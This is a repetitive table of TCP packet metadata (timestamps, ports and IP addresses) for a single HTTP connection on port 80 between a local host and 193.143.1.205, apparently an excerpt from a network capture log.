Jan 11, 2025 02:01:17.970268011 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.970283985 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.970299959 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.970372915 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.970385075 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.970396042 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.970408916 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.970432997 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.970455885 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.970660925 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.970674038 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.970685959 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.970698118 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.970701933 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.970710993 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.970730066 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.971074104 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.971124887 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.971184015 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.971196890 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.971239090 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.971272945 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.971286058 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.971297979 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.971362114 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.971519947 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.971532106 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.971544981 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.971556902 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.971559048 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.971570969 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.971575022 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.971586943 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.971610069 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.972001076 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.972037077 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.972064972 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.972078085 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.972111940 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.972229004 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.972243071 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.972254038 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.972266912 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.972289085 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.972315073 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.972532988 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.972547054 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.972585917 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.972651005 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.972672939 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.972685099 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.972707033 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.973058939 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.973073959 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.973087072 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.973099947 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.973120928 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.973196983 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.973211050 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.973223925 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.973237038 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.973244905 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.973269939 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.973539114 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.973551989 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.973563910 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.973577976 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.973584890 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.973584890 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.973625898 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.974940062 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.989119053 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.989132881 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.989145994 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.989160061 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.989186049 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.989250898 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.989269972 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.989283085 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.989295006 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.989310026 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.989331007 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.989378929 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.989442110 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.989480972 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.989515066 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.991219997 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.022469997 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.022495031 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.022505999 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.022516012 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.022547007 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.022578001 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.055928946 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.055949926 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.055962086 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.055974007 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.055980921 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.056009054 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.056010962 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.056071043 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.056097984 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.056109905 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.056123018 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.056148052 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.056286097 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.056298018 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.056333065 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.056411982 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.056423903 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.056452036 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.056551933 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.056562901 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.056576014 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.056591034 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.056624889 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.089272022 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089291096 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089333057 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089338064 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.089400053 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089412928 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089436054 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.089507103 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089519978 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089550018 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.089679003 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089693069 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089704990 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089715958 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089721918 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.089730024 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089742899 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.089766979 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.089881897 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089893103 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089924097 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.089961052 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089972019 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.089986086 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090012074 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.090090036 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090127945 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.090184927 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090198994 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090212107 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090223074 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090235949 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090249062 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090250015 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.090269089 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.090297937 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.090581894 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090595007 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090606928 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090626955 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.090717077 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090729952 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090743065 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090751886 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.090781927 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.090915918 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090928078 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090939045 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090950966 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090956926 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.090965033 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090980053 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.090985060 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.090993881 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091022968 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.091186047 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091198921 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091223955 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.091245890 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091260910 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091272116 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091284037 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091289043 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.091295958 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091337919 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.091337919 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.091679096 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091691971 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091703892 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091717005 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091725111 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.091732025 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091744900 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091753960 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.091757059 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091790915 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.091969013 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091984034 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.091995955 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092006922 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092006922 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.092020988 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092031002 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.092032909 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092047930 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092058897 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.092080116 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.092428923 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092441082 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092453003 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092463970 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092478037 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092482090 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.092490911 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092500925 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.092518091 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092530012 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092540026 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092546940 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.092550993 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092565060 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092571974 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.092577934 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092587948 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.092593908 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.092613935 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.092974901 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093008995 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.093044043 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093056917 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093089104 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.093234062 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093245983 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093257904 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093271017 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093276978 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.093306065 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.093486071 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093497992 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093509912 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093521118 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093532085 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.093532085 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093544960 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093555927 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.093556881 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093569994 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093583107 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093595982 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.093617916 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.093930006 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093943119 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093955994 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.093969107 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.093995094 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.100764990 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.143258095 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143279076 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143290997 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143338919 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.143353939 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143368959 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143385887 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.143491983 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143507004 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143517971 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143537045 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.143558979 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.143712997 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143723011 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143734932 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143749952 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143759012 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.143784046 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.143913984 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143927097 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143939972 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143951893 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143959045 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.143968105 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.143982887 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.144110918 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.144125938 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.144148111 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.144340992 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.144354105 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.144365072 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.144377947 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.144378901 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.144392014 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.144392967 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.144404888 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.144417048 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.144429922 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.144442081 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.144470930 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.144624949 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.144660950 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.149483919 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.176796913 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.176810980 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.176821947 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.176908970 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.176934958 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.176948071 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.176959038 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.176978111 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.176992893 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.177098989 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177109957 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177123070 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177135944 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.177203894 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177241087 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177261114 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.177328110 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177340031 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177351952 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177361012 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177365065 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.177392960 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.177572012 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177584887 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177597046 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177607059 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177608967 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.177635908 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.177757025 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177768946 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177779913 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177792072 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177799940 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.177803993 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177815914 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177823067 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.177828074 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177840948 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.177844048 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.177874088 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.178133965 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178169966 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.178179026 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178189993 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178220034 CET	49757	80	192.168.2.9	193.143.1.205
